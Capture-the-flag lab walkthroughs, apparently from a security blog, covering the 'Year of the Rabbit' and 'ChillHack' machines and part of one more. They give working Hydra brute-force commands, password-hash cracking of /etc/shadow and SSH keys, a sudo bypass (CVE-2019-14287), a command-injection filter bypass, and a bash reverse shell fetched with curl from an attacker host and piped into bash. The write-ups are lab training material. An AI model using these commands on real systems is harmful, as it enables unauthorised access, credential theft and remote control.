![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm7lKdPM-R-_vHxZ90%2F-Mbm8-OyC-gdySu8Y0il%2Fimage.png?alt=media\&token=a3dccb72-08ce-43f2-9a0d-d4f90ff8eaab)

Lets use hydra to brute force and find the password. Before that we need the syntax of how the username and password are submitted. We can do this by using Burpsuite. Lets attempt a login and capture the request with burp.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm7lKdPM-R-_vHxZ90%2F-Mbm9dDvWSBmeKTW-uN1%2Fimage.png?alt=media\&token=8f581d47-190d-461f-94af-be33ee9da8f7)

The format is `user=<username>&pass=<password>` , which we will supply to burp, we also see a `PHPSESSID` cookie, which we need to include in the hydra command. The other thing we need is what the website response is when there is a failed login attempt. Lets forward the request and we can see this.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm7lKdPM-R-_vHxZ90%2F-MbmAgIpZ7Sa10BzpAkO%2Fimage.png?alt=media\&token=f179556d-b8e6-4084-b2f8-c17a4ddb0116)

Now we have all the information we need, so lets run Hydra to crack the password.

Hydra command breakdown:&#x20;

* -l admin: Specifying the username as admin
* -P /usr/share/wordlists/rockyou.txt: Specifying the password list.
* 10.10.254.237: Target IP
* `http-post-form`: Type of attack protocol. We are using this as we are attacking a HTTP website form.
* /admin/: The directory we are attacking which has the login form
* `user=^USER^&pass=^PASS^`: Login response from Burpsuite,&#x20;
* `Username or password invalid`: Response when there is failed login.
* `H=Cookie: security=low; PHPSESSID=srir42se2cdt5roedi45msdgr0`: Cookie from the response.

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.254.237 http-post-form "/admin/:user=^USER^&pass=^PASS^:Username or password invalid:H=Cookie: security=low; PHPSESSID=srir42se2cdt5roedi45msdgr0"
```

After running this we find the password `xavier`. Lets login.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm7lKdPM-R-_vHxZ90%2F-MbmF5tq0Yom84J7DVM6%2Fimage.png?alt=media\&token=25b6e344-8564-4043-a1ad-eb95c174fc41)

We found the first flag, and we also have a rsa private key. Lets copy it to our machine and name the file `id_rsa` and then lets find the password using `ssh2john`and then crack the password using `john`.

&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm7lKdPM-R-_vHxZ90%2F-MbmFcwyFTL1rqiXOUMQ%2Fimage.png?alt=media\&token=befb9483-2356-40ce-86e6-cf7668882e8e)

Lets now use `ssh2john`.&#x20;

```bash
/usr/share/john/ssh2john.py id_rsa > id_rsa_hash
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm7lKdPM-R-_vHxZ90%2F-MbmFp1Hdz2mKEHWlCC9%2Fimage.png?alt=media\&token=1506a8a1-fdd4-42a9-9b76-2118bf12782e)

Now lets crack this hash using `john`.

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm7lKdPM-R-_vHxZ90%2F-MbmFx_GjI0eNQiZ5ENf%2Fimage.png?alt=media\&token=be69448f-d3a7-413e-b522-aede62e8b2b6)

And we have the password, lets login through ssh. This password might be the user `John` password as it was the only other username we found. But before that we need to change the permissions of the `id_rsa` file so that we can login with right permissions.

```bash
chmod 600 id_rsa
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm7lKdPM-R-_vHxZ90%2F-MbmGfySNZm-PExbFZqC%2Fimage.png?alt=media\&token=6a8298fc-c848-4234-b74e-22045c2b9400)

Now lets login

```bash
ssh -i id_rsa john@10.10.254.237
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm7lKdPM-R-_vHxZ90%2F-MbmGjzSSdZsEfqmCrpF%2Fimage.png?alt=media\&token=4ae36d19-29bc-44c9-b4f9-1222ddd3c7a2)

We are logged in. We can read the `user.txt` file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm7lKdPM-R-_vHxZ90%2F-MbmGt1pTXNrNhPkq3IS%2Fimage.png?alt=media\&token=439dbafc-0844-450a-b1d4-d90fc9eee640)

We can now answer all the questions in this section.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm7lKdPM-R-_vHxZ90%2F-MbmH48M8F9UJChbGEe8%2Fimage.png?alt=media\&token=b20788f5-cf59-44a1-be4b-ac172d3a3804)

## Task 4: Privilege Escalation

Lets run `sudo -l` to see what we can run as root.

```bash
sudo -l
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm7lKdPM-R-_vHxZ90%2F-MbmHHoKLsMm5e3e-Ttb%2Fimage.png?alt=media\&token=27f77d18-b996-4157-92cb-555d694fe6e0)

Looks like we can run `/bin/cat` as root. Looking on [GTFOBins ](https://gtfobins.github.io/gtfobins/cat/#sudo)we can see that we can set a parameter to a file and we can read that file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbmHJ4fLGsLbxT3zmDg%2F-MbmHwod0pRFDFAmSeig%2Fimage.png?alt=media\&token=e24b5441-8e22-43e6-bb24-18e7d0b82be6)

The `/etc/shadow` file stores passwords of all users on the machine, so we can find the root hash and then crack it using johntheripper. Lets first set the `LFILE` parameter to `/etc/shadow` and then read it.

```bash
LFILE=/etc/shadow
sudo cat "$LFILE"
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbmHJ4fLGsLbxT3zmDg%2F-MbmITdjGlC5lobsb5ER%2Fimage.png?alt=media\&token=5ab2e5ac-e8f4-4ead-a3a6-06579629a636)

We have the root hash, lets copy it to our machine and store it in a file called hash and then crack it using john.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbmHJ4fLGsLbxT3zmDg%2F-MbmIjg6YGzDDnT1OulF%2Fimage.png?alt=media\&token=a9184d37-57ab-4416-b1aa-7fe0df5a2408)

Now lets crack it and then show it.

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbmHJ4fLGsLbxT3zmDg%2F-MbmIweZqlCHtrMU6SAx%2Fimage.png?alt=media\&token=a3c70446-34d0-414b-89c1-1ee1f087297c)

```bash
john --show hash
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbmHJ4fLGsLbxT3zmDg%2F-MbmJ1kRA5nbfKnwCBZd%2Fimage.png?alt=media\&token=6490210d-7a99-47cf-982a-59de1b230017)

We have the password for root. Lets switch users.

```bash
su root
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbmHJ4fLGsLbxT3zmDg%2F-MbmJJkogjPwowqQwYZY%2Fimage.png?alt=media\&token=0b6a1952-e925-414a-b1c3-cb694480c7dd)

We can now read the root flag and also answer all the questions in this section

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbmHJ4fLGsLbxT3zmDg%2F-MbmJPYl095tioWD25lD%2Fimage.png?alt=media\&token=37295e68-0d6d-4cbb-801e-ece69f8a7e9b)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbmHJ4fLGsLbxT3zmDg%2F-MbmJXbOrLSzpnA7gBsw%2Fimage.png?alt=media\&token=54c057fc-847e-4e7d-9e80-7277f4f17de4)


# Year of the Rabbit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhkBaiDiz205cF1Y6F%2F-Mbhqyp24gh_82Mj9kYK%2Fimage.png?alt=media\&token=e4ec39e9-4b72-4b2e-a7fa-40140346ba10)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.165.1
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-MbhrgbjxqzIp8HOjPoV%2Fimage.png?alt=media\&token=16bd5776-66e0-4adf-a80f-f08e637c5226)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 21,22,80 -oN nmap 10.10.165.1
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-MbhrjUURvLR8Te6PpPM%2Fimage.png?alt=media\&token=e25b3a59-15c7-4fd3-8950-3af04c96fc27)

## Enumeration&#x20;

Lets visit the webserver

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-Mbhs80zuo5C8DHFDTTr%2Fimage.png?alt=media\&token=7db7162d-b200-4747-bcfa-8d26e294b087)

It an apache2 default page, lets run gobuster to find hidden directories and pages.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.165.1 
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-MbhtOpsyEggQwM0oDFh%2Fimage.png?alt=media\&token=bc44cb92-1e92-450e-976e-552c4a7d8b2f)

We found a directory called /assets lets go visit it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-MbhtfZG7rlUXZ7nmMCR%2Fimage.png?alt=media\&token=69060ae5-8612-46b7-9950-cbfef66bb159)

There are two files, lets check the first one which is a mp4 file , a video file. First we get a message telling us to turn off Javascript, followed by a redirection to a Rick Astley video . RICK ROLLED!

Lets go turn off Javascript, Navigate to `about:config` in the browser and then search for Javascript, change the `javascript.enabled` parameter to false.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-MbhvkGKYqTtBMEU0hut%2Fimage.png?alt=media\&token=efa750da-952a-4b75-b4f3-6ef46044990b)

Also looking at the other file, we need something interesting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-Mbhw7EZm5Jo7vOWHBGQ%2Fimage.png?alt=media\&token=f517a2e3-bdea-4257-8fc7-71e015590638)

Lets visit this page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-MbhwK2TmjsJabmLM4hG%2Fimage.png?alt=media\&token=fa1aee05-c809-4dcc-bd93-09421b646640)

Listening through the audio, at second 56 we get the hint: "I'll put you out of your misery **burp** you're looking in the wrong place. Looking at this they are probably hinting to use `Burpsuite` so lets do that.&#x20;

Lets capture the request of visiting this page. After capturing the request and forwarding it once, you get something interesting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhrMqp6JxyJiF1uY1O%2F-MbhxWhvv3F-yCqNVtvn%2Fimage.png?alt=media\&token=792b83ec-3207-4c0c-b7c6-6198c0a0be2b)

Its a directory, lets go visit it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-MbhyCSuatWuDxvFmPWo%2Fimage.png?alt=media\&token=f8898a52-3ce5-4bfc-bfee-2e10ddb0f83e)

There is one file, lets check it out

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-MbhyHlUNqB2OF5NME1l%2Fimage.png?alt=media\&token=4d01d5b9-8dfb-404a-97e1-66ccbc85dbc0)

Its a picture. Lets use our steganography skills to see if there is anything hidden in the picture. First we need to download the file, so lets do that.

```
wget http://10.10.165.1/WExYY2Cv-qU/Hot_Babe.png
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-MbhymfyC0r93jKa84CV%2Fimage.png?alt=media\&token=e9a1377d-a72f-4000-ace7-fac3fb9d8765)

Now lets use `steghide` and `binwalk` to see if we can find anything in this image. There was nothing, so l just used strings on the image.

```
strings Hot_Babe.png
```

Once I did this, I got some output and scrolling up a bit I got something interest

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-MbhzKkJrLQorFF69A2b%2Fimage.png?alt=media\&token=9b475c35-a75a-4879-947a-d4754b53ac38)

So we have a username and a password list, lets copy the password list to a file and use `hydra` to bruteforce ftp with the username and password list we have. I saved the password into a list called `passwords.lst`

## Exploitation

```
hydra -l ftpuser -P password.lst 10.10.165.1 ftp
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-MbhzsPuJF87duApFJyJ%2Fimage.png?alt=media\&token=72860d12-897a-4c02-a45f-b239e0a9506b)

We found the password, lets login through ftp

```
ftp 10.10.165.1
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-Mbi-2UyDQ-BNZZcFkVj%2Fimage.png?alt=media\&token=e0aba9bb-da75-4acb-8428-96c31c4466a4)

We are logged in, lets list the files.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-Mbi-8Na6SH2hvnaoCIV%2Fimage.png?alt=media\&token=6da19c3a-c896-4b76-9b49-6e65966a78eb)

Looks like there is a text file, lets transfer this to our machine

```
get Eli's_Creds.txt
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-Mbi-QD92eyKyAZuJbUx%2Fimage.png?alt=media\&token=3fd8018d-6233-4607-9e6e-1cb36805d377)

Lets read the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbhxXqzIPyXBgp2TLqQ%2F-Mbi-lJ_c1BzZmkf7RZf%2Fimage.png?alt=media\&token=830c4985-acea-4967-8cee-5358a30c8839)

I don't understand this code, so lets put it in a tool that does understand it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi-s4BtadlwivlWU1t%2F-Mbi0Fwt_1JmA8JMd6Qm%2Fimage.png?alt=media\&token=549df008-860c-4a1a-a3a5-0489fcef11c5)

Now we have a password, lets use this to login through ssh with the username we found too.

```
ssh eli@10.10.165.1 
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi-s4BtadlwivlWU1t%2F-Mbi0TxeZPxVd00QhZMT%2Fimage.png?alt=media\&token=8f12ec06-cfee-4dd5-8904-861f89755d57)

We are logged in, we can see a message for us. We can find the user flag here but we are not allowed to read it. So we have to escalate privileges.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi-s4BtadlwivlWU1t%2F-Mbi0iqcdCdmGiLFrndj%2Fimage.png?alt=media\&token=c664dfe7-f0c1-468b-838b-045618a2a442)

When we logged in, we see a message for us, there seems to be a `leet s3cr3t hiding place`, and there is a hidden message there waiting for us. Lets find it using this command.

```
find / -name s3cr3t 2>/dev/null
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi0vpW8g-NPGfMVqm1%2F-Mbi1fssV7eiWUvgorwy%2Fimage.png?alt=media\&token=f32335ae-a033-43f4-9c80-0bb4cef8c16c)

Its a directory so lets change directories into it.

```
cd /usr/games/s3cr3t
```

Lets list the files in the directory.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi0vpW8g-NPGfMVqm1%2F-Mbi1wPFqQsHDirdFjdY%2Fimage.png?alt=media\&token=c48cb401-94bd-4bb6-afed-7a16339bbffa)

Lets read the this file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi0vpW8g-NPGfMVqm1%2F-Mbi25WtEb56fE3O7KQO%2Fimage.png?alt=media\&token=c60b60ae-d845-4ccc-8772-d1e103859b2e)

Looks like we have the password to the user `Gwendoline` , so lets switch users.

```
su gwendoline
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi0vpW8g-NPGfMVqm1%2F-Mbi7-rZ_aYYVpU4xdku%2Fimage.png?alt=media\&token=599af7bf-52e6-489f-b2af-57846652f64d)

We can now read the `user.txt` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi0vpW8g-NPGfMVqm1%2F-Mbi7EVXwjv-xRdrEv3I%2Fimage.png?alt=media\&token=47191324-1ab3-4c0e-b4d6-355a99317dfe)

## Privilege Escalation

Lets run `sudo -l`  to see what this user can run as root&#x20;

```
sudo -l
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi0vpW8g-NPGfMVqm1%2F-Mbi7VzIlTHk-lJZ2yT_%2Fimage.png?alt=media\&token=ff5e9663-b064-4d06-8c8e-681997fa589f)

Looks like we can run `/usr/bin/vi /home/gwendoline/user.txt` as root, I found this [article ](https://www.whitesourcesoftware.com/resources/blog/new-vulnerability-in-sudo-cve-2019-14287/)that explains very well on what to do. First we use the command

```
sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
```

And then we use this command

```
:!/bin/bash
```

And you are now root.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi0vpW8g-NPGfMVqm1%2F-Mbi8h3eUTze56OzG-3b%2Fimage.png?alt=media\&token=7662fc5c-4fbc-4d3f-994d-2fc0e35e28af)

We can read the root flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbi0vpW8g-NPGfMVqm1%2F-Mbi8ocIopv4bJINWTxL%2Fimage.png?alt=media\&token=e1178322-7876-4cd1-8f39-66979da61cc3)


# ChillHack

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbgrcmGRbWaZl2MAklv%2F-MbgrjbBAYZC9550rdXe%2Fimage.png?alt=media\&token=f051f90b-f5b5-4add-9dc1-1c8041e4bcf9)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.161.202
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbgsLwLFVV9MXlagDrA%2F-Mbgsi7fqW0fSqvwR6Gr%2Fimage.png?alt=media\&token=fb1bb5ca-38c1-48b1-8b14-eb1150347726)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 21,22,80 -oN nmap 10.10.161.202
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbgsLwLFVV9MXlagDrA%2F-Mbgsu3ZMttkFXYT1YtP%2Fimage.png?alt=media\&token=9ed7583c-04f7-4501-9e49-7ffce9615acd)

## Enumeration

### Port 21: FTP

We see in the nmap scan that Anonymous FTP login is allowed, so lets login&#x20;

```
ftp 10.10.161.202
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbgswwLBKkKn9taWX30%2F-MbgtEZlmQanVtn1715_%2Fimage.png?alt=media\&token=c5bf9265-c264-4aea-af9c-2d08fac1a102)

Listing the files we see that there is a `note.txt` file so lets transfer this file to our machine.

```
get note.txt
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbgswwLBKkKn9taWX30%2F-Mbgtd83fm5rnfUNQD1r%2Fimage.png?alt=media\&token=6abcc604-cbbf-42f7-ae05-ec00aa60efb2)

Lets read `note.txt`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbgswwLBKkKn9taWX30%2F-Mbgts6o7C-2IFOlkY8y%2Fimage.png?alt=media\&token=600e961d-9b63-40b0-9e92-72dca658a03c)

We have two usernames, `Anurodh` and `Apaar` , lets add this to our notes.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbgswwLBKkKn9taWX30%2F-MbguVT6gkK09yU0nOKc%2Fimage.png?alt=media\&token=b02bd4cd-f9b2-4652-89b5-036449702a41)

We also see that there is some filtering on strings being put in the command, which we might encounter while enumerating this machine further.

### Port 80: HTTP

Lets visit the site.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbgswwLBKkKn9taWX30%2F-Mbgv0GPOgZyIpzVMVHL%2Fimage.png?alt=media\&token=67cac6ff-62ea-4735-86a2-e4b0e2ebede9)

Looks like a very well made website, lets run gobuster to find hidden directories while we explore the webpage.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.161.202 
```

I looked through the website and found nothing interesting in the source code too, after a while I got the results for the gobuster scan

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbgswwLBKkKn9taWX30%2F-MbgwAIdVoNj6YOyIbdo%2Fimage.png?alt=media\&token=653edf23-80d3-476d-b287-ade2e8d174f7)

Lets visit this `/secre`t directory.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbgswwLBKkKn9taWX30%2F-MbgwMGb2ET0S-yNVbL2%2Fimage.png?alt=media\&token=119357cf-8682-4c9e-9173-ac4da4776fea)

Looks like we can execute commands, lets try executing a basic command. When I tried executing `ls` it gave me this.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbgswwLBKkKn9taWX30%2F-MbgwWYh3WLEeUjn-oJB%2Fimage.png?alt=media\&token=1bf1c9a1-4aac-4133-b1f2-b1e0a1bde4f4)

Now looking back at the `note.txt`, it mentioned that there was filtering on the commands, so to bypass that I remembered there was a way we could bypass filtering, we can do this by using backslashes in the command. We are no escaping any special characters so then the word will be interpreted the same way by bash. Lets try `l\s`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbgswwLBKkKn9taWX30%2F-Mbgx76CTDK4aFcfEOLl%2Fimage.png?alt=media\&token=e0fbe17a-9202-4c2e-8723-1765d2fc879e)

And it worked so now lets check the index.php page which will tell us what characters and words are being filtered.

```
c\at index.php
```

After executing the look at the source code.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbgswwLBKkKn9taWX30%2F-MbgyQyqsSI6hwUKghzg%2Fimage.png?alt=media\&token=af939ad3-4d10-4d43-b74b-0f10e690aa8a)

We have a list of words that have been blacklisted which means that we cannot use them on the system, also we can see the function that allows command injection. Lets now try to get a reverse shell on the machine.

## Exploitation

* &#x20;First we create a bash reverse shell
* Second we transfer it to the victim machine by starting a http server on our machine and using the curl command
* Finally once the file is downloaded we can start a netcat listener and execute the file we transferred to get a reverse shell on the machine.

First we create a bash reverse shell called `shell.sh`

```
bash -c "bash -i >& /dev/tcp/<your-ip>/1234 0>&1"
```

Now we start a http server

```
python3 -m http.server 8000
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbh-ftWkd9Q10I7DTTY%2F-Mbh-tkwPh5xyUhJpTd5%2Fimage.png?alt=media\&token=03ddaece-4adf-4e98-b6fd-fe5d8cb33acc)

Lets also start a netcat listener.

```
nc -lvnp 1234
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbh-vtv8hVyS4aSVZVZ%2F-Mbh0PHn8pJs-UP4TqVn%2Fimage.png?alt=media\&token=0962223c-954d-4a0f-bcdd-136f5f4c55e3)

Now we download the file on the victim machine using curl and then execute is using bash in the same command. We are using a backslash in bash as it has been blacklisted.

```
curl <your-ip>:8000/shell.sh | ba\sh
```

After executing the command, we get a reverse shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbh-vtv8hVyS4aSVZVZ%2F-Mbh1E2DT9mUVBa18v5F%2Fimage.png?alt=media\&token=a1010f67-6903-4d4c-b370-06f4e8426153)

Lets now stabilize the shell.

```bash
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl + Z
stty raw -echo; fg
reset
Ctrl + C
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbh1FH4Z0_GjmoR-NfV%2F-Mbh2BO329jWVxKDc5rN%2Fimage.png?alt=media\&token=ffcae8f7-be1e-4832-a9ed-bbc3b8e308d3)

## Privilege Escalation

Looking at the files in the system, we did not have permissions to read most of them, so lets run a automatic enumeration script called `linpeas`, you can find this google, once you download it we have to transfer to this machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbh5Ca4p4cIruaF5ZoY%2F-Mbh7OCFUb-cA6ovegF0%2Fimage.png?alt=media\&token=a5c7a930-bedb-4a45-8123-f17b922c2cc1)

We already have a http server running, if you switched it off, start is up again.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbh2Cyb_SeYVJXsSmD2%2F-Mbh4RJ_E4eJhbInRSWn%2Fimage.png?alt=media\&token=2e7414e8-278b-44ef-ab55-e10da6259733)

Now we have to go the `/tmp` directory as we are not allowed to download files in other directories and usually `/tmp` always gives us permissions to download files into its directory.

```bash
wget http://<your-ip>:8000/linpeas.sh
```

